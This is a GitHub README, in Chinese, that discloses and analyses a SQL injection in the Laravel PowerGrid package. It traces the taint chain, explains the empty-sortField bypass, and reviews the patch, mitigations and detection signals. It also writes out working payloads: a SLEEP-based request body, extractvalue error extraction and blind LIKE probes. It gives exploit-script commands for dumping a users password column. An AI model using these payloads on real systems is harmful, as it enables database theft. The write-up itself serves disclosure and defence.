BiiTts/POC-CVE-2026-65971
GitHub: BiiTts/POC-CVE-2026-65971
该项目提供了 Laravel 生态中 PowerGrid 数据表格组件高危 SQL 注入漏洞的概念验证代码与完整技术剖析。
Stars: 0 | Forks: 0
# CVE-2026-65971 — Livewire PowerGrid 通过 `sortDirection` 触发的 SQL 注入
**CVE-2026-65971** / **GHSA-7fgc-3h6c-698r** 的概念验证与技术分析全文，
这是 [`power-components/livewire-powergrid`](https://github.com/Power-Components/livewire-powergrid) 中存在的 SQL 注入漏洞，
可通过公开的 Livewire 属性 `sortDirection` 触发。
| | |
|---|---|
| **CVE** | [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971) |
| **GHSA** | [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r) |
| **Package** | `power-components/livewire-powergrid` (Composer / Packagist) |
| **Affected** | `>= 6.0.0, < 6.10.4` |
| **Patched** | `6.10.4` |
| **Weakness** | CWE-89 — SQL 命令中使用的特殊元素转义处理不当 |
| **Severity** | **7.6 高危** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L` |
| **Reported by** | Caio Fabrício ([@BiiTts](https://github.com/BiiTts)) |
| **Disclosure** | 协调披露，通过 GitHub 私密安全公告 |
```
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
```
## 🧠 总结
PowerGrid 是一个用于 Laravel + Livewire 的数据表格组件（约有 2k stars，在
Laravel 管理面板中被广泛使用）。其排序状态保存在两个 **公开的 Livewire 属性** 中：
```
public string $sortField = 'id';
public string $sortDirection = 'asc';
```
在 Livewire 中，公开属性是组件通信格式的一部分 —— 任何能访问该组件的客户端都可以
通过 `POST /livewire/update` 来设置它。这是设计使然；安全边界在于服务器如何处理该值。
PowerGrid 的 `naturalSort()` 功能会构建一个原生 `ORDER BY` 表达式，其中包含字面量
占位符 `{sortDirection}`，随后 pipeline 会将该占位符替换为 **未经处理的原始属性值**，
然后将字符串传递给 `orderByRaw()`。因此，方向关键字会原封不动地进入 SQL 中。
Laravel 自带的 `orderBy()` 会拒绝非 `asc`/`desc` 的任何内容，正是这种验证机制
使得普通的排序路径是安全的。**漏洞在于，通往同一子句的第二条未经验证的路径确实存在 —— 并且攻击者可以在完全跳过验证路径的情况下触达它**
（参见 [绕过机制](#-the-bypass-why-laravels-validation-does-not-save-you)）。
结果：`ORDER BY` 子句中存在任意 SQL，可被利用作为基于盲注布尔/时间的条件推断（oracle）
来读取数据库用户能够读取的任何数据。
## 🔥 影响
任何能够访问使用了 `naturalSort` 的 PowerGrid 表格的人，都可以利用
基于时间/布尔的条件推断读取 **数据库中的任意数据** —— 包括其他表、密码哈希、会话 token、
API key、跨租户记录等。
- **机密性：高。** 可以完整读取数据库用户能够执行 `SELECT` 的任何内容。
- **完整性：低。** 堆叠查询会被 PDO MySQL 的默认配置阻止，因此
`; UPDATE ...` 无法执行。写入影响仅限于子查询所能触发的操作。
- **可用性：低。** 同样的攻击手段能让攻击者使用 `SLEEP()` 和繁重的子查询 ——
极易被滥用以占满数据库线程。
- **典型的部署位置是加剧风险的因素。** PowerGrid 表格通常位于管理面板和
多租户后台系统中 —— 这正是敏感数据所在之处。一个低权限的租户
用户只要能访问到这样一张表格，就能拖取整个数据库。
所需权限被标记为 `PR:L`，是因为数据表格通常处于应用程序
身份验证之后。如果受影响的表格渲染在一个 **无需身份验证** 的页面上，请使用
`PR:N` 重新计算风险值 → **8.2 高危**。
## 🧩 根本原因 — 完整的污点链
涉及三个文件，分为三个阶段。所有参考内容均指向存在漏洞的标签 `v6.10.3`。
### 阶段 1 — 源头：攻击者可控的公开属性
`src/Concerns/Sorting.php`
```
public string $sortField = 'id'; // line 11
public string $sortDirection = 'asc'; // line 13
```
这两个属性既没有白名单、验证规则，也没有规范化的 setter。`sortDirection`
只会被直接赋值或翻转：
```
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
```
`updatedSortDirection()`（第 103 行）确实存在 —— 本该是进行验证的天然位置 —— 但在 `v6.10.3` 中
它只处理懒加载相关的记录。它从不检查值的内容。
因为 Livewire 会直接从请求中水合（hydrate）公开属性，所以此时 `sortDirection` 是
**完全由攻击者控制的任意字符串**。
### 阶段 2 — 原生子句：`naturalSort()` 植入占位符
`src/Providers/Macros.php`，第 102–116 行 — `naturalSort` 列宏定义：
```
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
```
`Sql::sortStringAsNumber()` 会解析为由
`src/DataSource/Support/Sql.php`（第 60–100 行）中 `getSortSqlByDriver()` 构建的基于数据库驱动（driver）的表达式。每个驱动变体
最终都会以相同的字面占位符结尾：
```
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
```
该漏洞 **与驱动无关** —— 每个分支都会解析 `{sortDirection}`。
### 阶段 3 — Sink：占位符被直接替换为原始属性值
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`
```
private function resolvePlaceholders(?string $sql): ?string // line 56
{
if (is_null($sql)) {
return null;
}
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
```
以及第 52 行的执行逻辑：
```
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
```
`data_get($this->component, 'sortDirection')` 会返回攻击者提供的字符串，`preg_replace_callback`
会将其拼接到 SQL 文本中，而 `orderByRaw()` —— 根据约定，它 **不会** 对其参数进行转义 ——
会将其直接传递给数据库。
注意下一行极具讽刺意味的地方：`resolveBindings()`（第 69 行）是存在的，而且 `naturalSort`
也声明了 `'bindings' => []`。实现安全参数化的机制近在咫尺。但它无法
用于方向关键字 —— `ORDER BY x ?` 不是合法的 SQL，方向永远不能作为绑定参数 —— 这正是为什么方向关键字 **必须** 使用白名单过滤的原因。
### 污点链精简概括
```
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation)
──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65)
──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
──▶ orderByRaw($sql) (ColumnRawQueries.php:52)
──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
```
## 🔓 绕过机制 — 为什么 Laravel 的验证救不了你
正是这部分将“原生字符串拼接”变成了一个实际可利用的漏洞，也是
该问题在一个成熟且被广泛使用的包中存在如此之久的原因。
PowerGrid 通过 **pipeline** 处理查询。该 pipeline 的其中两个阶段接触到了排序方向：
**`Sorting` pipeline** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`：
```
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
```
`orderBy()` 是 Laravel 提供 **验证** 的 API。只要传入非 `asc`/`desc` 的值，它就会
抛出异常：
```
InvalidArgumentException: Order direction must be "asc" or "desc".
```
因此在正常路径中 —— 用户点击列标题，`sortField=name`，`sortDirection=<恶意载荷>` ——
框架会拦截注入。粗略的审计通常会止步于此，并得出“已被 Laravel 缓解”的结论。
**`ColumnRawQueries` pipeline** — 即如上所示的第二个阶段 ——
**没有这种防护**。查看它的 `handle()` 方法（第 21–27 行）：它会遍历列，对于每一个
带有 `rawQueries` 的列，它都会 *无条件地* 应用它们。它从不检查 `sortField`。它也
从不关心 `Sorting` pipeline 的执行结果。
这种不对称性正是漏洞所在：
| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | 结果 |
|---|---|---|---|
| `"name"` (有值) | 运行 → `orderBy()` **验证** → 遇到载荷抛出异常 | 运行 → 注入 | ❌ 被异常拦截 |
| `""` (空) | `filled('')` 为 `false` → **直接跳过** | 运行 → 注入 | ✅ **注入成功** |
将 **`sortField` 设为空字符串** 会让验证阶段自行跳过，而原生阶段
依然会输出带有攻击者注入的 `{sortDirection}` 的 `naturalSort` `ORDER BY`。Laravel 的
验证从未被调用，因为包含验证逻辑的代码路径根本没有执行。
**因此，完整的攻击涉及两个字段，而非一个：** `sortDirection` 携带恶意载荷，
而 `sortField=""` 则是打开这扇大门的钥匙。
## 🎯 确切字段说明
一切都通过 Livewire 的标准更新端点进行。不需要特殊的请求头，不需要自定义
路由，也不需要管理员权限。
**端点：** `POST /livewire/update`
**请求体 (JSON)：**
```
{
"_token": "",
"components": [
{
"snapshot": "",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
```
| 字段 | 作用 | 取值 |
|---|---|---|
| `components[0].updates.sortDirection` | **注入点** | SQL 载荷，需加上合法的方向词作为前缀，以确保该子句在语法上保持完整 |
| `components[0].updates.sortField` | **绕过钥匙** | `""` — 留空，用于跳过执行验证的 `Sorting` pipeline |
| `components[0].snapshot` | 通信基础数据 | Livewire 组件状态；从页面 HTML 的 `wire:snapshot="..."` 中提取（需进行 HTML 反转义） |
| `_token` / `X-CSRF-TOKEN` | 通信基础数据 | 从页面的 `data-csrf="..."` 或 `"csrf":"..."` 代码块中提取 |
**最终生成的 SQL**（MariaDB 实验环境，`rooms` 表，带有 `naturalSort` 的 `name` 列）：
```
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
```
载荷位于 `ORDER BY` 列表中的完整表达式槽位中，这就是为什么纯子查询
能够生效，并且该子句依然是合法 SQL 的原因。
## 🔬 发现过程 — 代码排查轨迹
以下顺序是推理的实际过程，包括几乎将此次调查定性为误报的那一步。
**1. 优先审视攻击面：Livewire 的公开属性即攻击者输入。**
框架自身的模型表明，组件上的每个 `public` 属性都可以通过
`/livewire/update` 被客户端篡改。因此，针对任何 Livewire 包的审计问题不在于“是否存在用户输入？”
而在于“哪些公开属性能流向危险的 sink？”。枚举了 PowerGrid 的公开属性；
`$sortField` 和 `$sortDirection` 显得尤为突出，因为它们存在的目的就是为了被拼接
进 SQL 中。
**2. 顺藤摸瓜找到每一个 sink。** 在包中搜索了原生 SQL API —— `orderByRaw`、
`whereRaw`、`selectRaw`、`havingRaw`、`DB::raw` —— 并寻找任何可能接收这些
属性的地方。在 `Macros.php` 中，`naturalSort` 的 `'method' => 'orderByRaw'` 就是命中点。
**3. 寻找属性与 sink 之间的连接。** `Sql.php` 中的原生 SQL 并没有引用
`$this->sortDirection`；而是包含了字面字符串 `{sortDirection}`。像这样的模板化意味着
某处必然存在解析器。搜索大括号模式最终指向了
`ColumnRawQueries::resolvePlaceholders()` 及其 `data_get($this->component, $property, '')` ——
这是一个没有进行转义的通用属性读取器。至此，源头与 sink 成功关联。
**4. 几乎将此漏洞判死刑的一步：缓解措施。** 首次尝试实弹测试 —— 将 `sortDirection`
设置为载荷并触发 —— 没有产生数据泄露，而是抛出了
`InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel 的 `orderBy()` 拦截了它。此时最容易得出的结论是“框架已缓解，不可利用”，但这
结论是错误的。
**5. 探查异常的来源，而不仅仅是它发生了。** 堆栈跟踪指向了
`Sorting` pipeline 中的 `orderBy()` —— 这与第 2 步中发现的 `orderByRaw()` sink 是 **完全不同的阶段**。同一个 `ORDER BY` 存在两个阶段和两次独立的写入，但只有其中一个
执行了验证。这将问题从“我能击败 Laravel 的验证器吗？”（答案是不能 —— 它是
严格比较）转变为了 **“我能否在不执行验证阶段的情况下触达原生阶段？”**
**6. 审视防护逻辑。** 验证阶段仅在 `if (filled($this->component->sortField))` 下运行。
`filled('')` 的结果是 `false`。原生阶段则完全没有防护。因此绕过方法是顺理成章的：
发送 `sortField=""`，这样只有无防护的阶段会运行。
**7. 使用两种独立技术进行两次实证确认** 单个积极信号不能称为
发现 —— 时间差可能是因为速率限制，错误可能只是普通的 500 报错。在正式确认漏洞之前，既需要基于错误的验证（数据库一字不差地返回了注入的子查询），也
需要基于时间的布尔条件推断（在真实数据上区分 TRUE 与 FALSE）。参见 [证据](#-evidence)。
**可推广的经验教训：** 框架级别的缓解措施仅能保护它所在的代码路径。
当两个 pipeline 阶段向同一个 SQL 子句写入数据时，“框架已对其进行验证”的说法
只适用于其中之一。务必探明验证逻辑究竟处于哪个阶段，以及危险的
阶段是否能够独立运行。
## 🧪 证据
实验环境：Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB，使用了一个 `RoomTable`
PowerGrid 组件，其 `name` 列声明了 `->naturalSort(true)`，并且 `rooms` 表
包含一个 `secret` 列。完整实验环境见 [`lab/`](lab/)。
**基于错误 — 注入的子查询原封不动地到达了数据库** (HTTP 500, `SQLSTATE[HY000] 1105`)：
```
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
```
数据库解析并执行了攻击者在 `ORDER BY` 中提供的 `SELECT`。这是
无可辩驳的注入证据 —— 错误文本中包含的是实际执行时的注入 SQL，而不仅仅是
提交时的内容。
**基于时间的盲注 — 任意数据提取：**
```
asc -> 0.02s baseline
asc, (SELECT SLEEP(3)) -> 9.04s injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
```
这对 TRUE/FALSE 测试正是将此问题从“某些查询变得很慢”升级为“我能读取你的数据”的关键：
相同的请求结构会根据攻击者无法看到的值的条件，返回两种
截然分离的响应时间。这是一个有效的条件推断，而 `poc/exploit_powergrid_sqli.py`
会逐个字符地遍历提取数据。
原始记录：[`evidence/EVIDENCE.txt`](evidence/EVIDENCE.txt)。
## ⚙️ 概念验证 (PoC)
无需额外依赖，仅使用 Python 3 标准库。
```
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
```
它将：
1. `GET` 页面并抓取 CSRF token 以及 PowerGrid 组件的 `wire:snapshot`；
2. 测试一个正常的 `sortDirection=asc` 请求的耗时作为基准；
3. 触发 `sortField="" / sortDirection="asc, (SELECT SLEEP(3))"` 并比较响应时间；
4. 如果时间差证实了代码执行，则通过布尔条件推断逐字提取数据。
实用参数：
```
# 仅非破坏性检查 — 验证 vulnerable/patched，不提取数据
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
# 选择要提取的内容
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
# 已认证的 targets（datatables 通常位于登录之后）
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
```
针对已修复的 `6.10.4` 目标，该脚本不会检测到时间差异并会正常退出 ——
白名单过滤会将所有载荷收敛为 `asc`。
## ✅ 修复分析 (`v6.10.4`)
维护者发布了 **针对四个调用点的纵深防御策略** —— 这是针对
此类漏洞的正确修复形态。核心手段：
```
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
```
带有安全默认值的严格白名单 —— 既不是黑名单，也不是转义，更不是正则表达式。对于
不能作为绑定参数的关键字来说，这是唯一正确的控制手段。
应用于：
1. **`ColumnRawQueries::resolvePlaceholders()`** — Sink 端。`{sortDirection}` 现在会被特殊处理，
并且只能通过 `sanitizeSortDirection()` 进行解析，而不再使用通用的 `data_get()`。
2. **`Concerns\Sorting::updatedSortDirection()`** — Livewire 钩子。在写入时进行过滤清理，因此
属性本身将不再能够保存恶意载荷。
3. **`Concerns\Sorting::sortBy()`** — 对方向参数进行过滤清理。
4. **`Pipelines\Sorting::applySingleSort()` / `applyMultipleSort()`** — 涵盖了用户自定义的
`sortUsing` 回调，因为这些回调可能会构建它们自己的 `orderByRaw`。这封堵了最初报告之外
的 **第二条相关路径**。
添加了回归测试：`tests/Feature/SortDirectionInjectionTest.php` 以及一个
`DishesNaturalSortTable` 固定组件（fixture）。
**补丁验证是在已发布的标签上进行的**（而不是基于口头承诺）：克隆了 `v6.10.4`，排查了
每一个原生方向的 sink，运行了测试套件（30/30 全部通过），并使用 17 种载荷对 `sanitizeSortDirection()`
进行了模糊测试 —— 包括安全公告中提到的基于时间的载荷、空字节、SQL 注释、十六进制字面量、大小写混合、
空格填充、unicode。所有这些都被收敛为 `asc` 或 `desc`。剩余的 sink（通过
`WithExport`/`ExportableJob`、Scout 的导出功能）全部经过验证的 `orderBy()` 而不是 `orderByRaw()`
处理，因而是不可注入的。
**结论：已修复。**
与安全相关的代码差异位于 [`patch/`](patch/security-fix-v6.10.4.diff)。
## 🛡️ 补救措施与检测
### 如果您正在使用 PowerGrid
```
composer require power-components/livewire-powergrid:^6.10.4
composer audit
```
**升级 —— 不要尝试使用旁路绕过。** 如果您今天确实无法升级，临时的
缓解措施是直接在组件上进行过滤清理：
```
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
```
这只是权宜之计。请务必升级。
### 我受影响吗？
前提条件是至少有一列声明了 `naturalSort`：
```
grep -rn "naturalSort" app/ resources/
```
没有 `naturalSort` 列意味着原生的 `ORDER BY` 永远不会被注册，主要的攻击
路径也无法触达。请注意，`v6.10.4` 还加固了 `sortUsing` 回调路径 —— 如果您自定义的排序
回调根据方向构建原生 SQL，无论有没有使用 `naturalSort`，您都会通过该路径暴露在风险中。
### 检测漏洞利用
该攻击表现为一个普通的 Livewire 请求；没有任何不同寻常的端点或方法可供预警。
请重点关注 `sortDirection` 的 **值** —— 合法的流量永远只会发送 `asc` 或 `desc`。
根据定义，任何其他内容都是异常的。实用信号包括：
- `POST /livewire/update` 的 JSON 请求体中包含的 `"sortDirection"` 的值如果不是
精确的 `asc`/`desc`（不区分大小写）—— 高保真度，几乎不会产生误报；
- 同一请求中携带有 `"sortField":""`（空值）以及一个非同寻常的 `sortDirection` ——
这是确切的绕过特征；
- 该值中包含 SQL 关键字：`SELECT`、`SLEEP`、`BENCHMARK`、`extractvalue`、`updatexml`、`0x`；
- 应用程序错误日志中包含 `SQLSTATE[HY000] 1105` 或 `SQLSTATE[42000]` 并提及 `order by`；
- 一连串结构相同的 POST 请求，且响应时间呈现双峰分布（快速/慢速）特征 —— 这是盲注条件推断
正在被遍历执行的表现。
在 [`detection/sortdirection-sqli.yml`](detection/sortdirection-sqli.yml) 中提供了两条 Sigma 规则 ——
一条针对请求体，另一条针对在无法进行请求体日志记录时的数据库错误签名。
用于标记可访问的 PowerGrid 组件（前置攻击面）的 Nuclei 模板位于
[`detection/nuclei-powergrid-sortdirection-sqli.yaml`](detection/nuclei-powergrid-sortdirection-sqli.yaml)；
请使用 `poc/exploit_powergrid_sqli.py --check-only` 确认任何命中结果。
## 📚 参考资料
- GitHub 安全公告 — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 修复版本 — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 修复差异 — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL 命令中使用的特殊元素转义处理不当](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [属性可被客户端篡改](https://livewire.laravel.com/docs/properties#security-concerns)
## ⚖️ 法律声明
本文在经过协调披露、补丁发布以及公开的供应商安全公告后发布。PoC
仅针对 [`lab/`](lab/) 中的本地实验环境，旨在供防御者验证自身系统的暴露情况，
以及供研究人员研究此类漏洞。未经授权对系统运行此工具是
违法行为。您需对自己的行为负责。
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
标签：CISA项目, Laravel, OpenVAS, PHP, PNNL实验室, PoC, 安全漏洞, 暴力破解, 逆向工具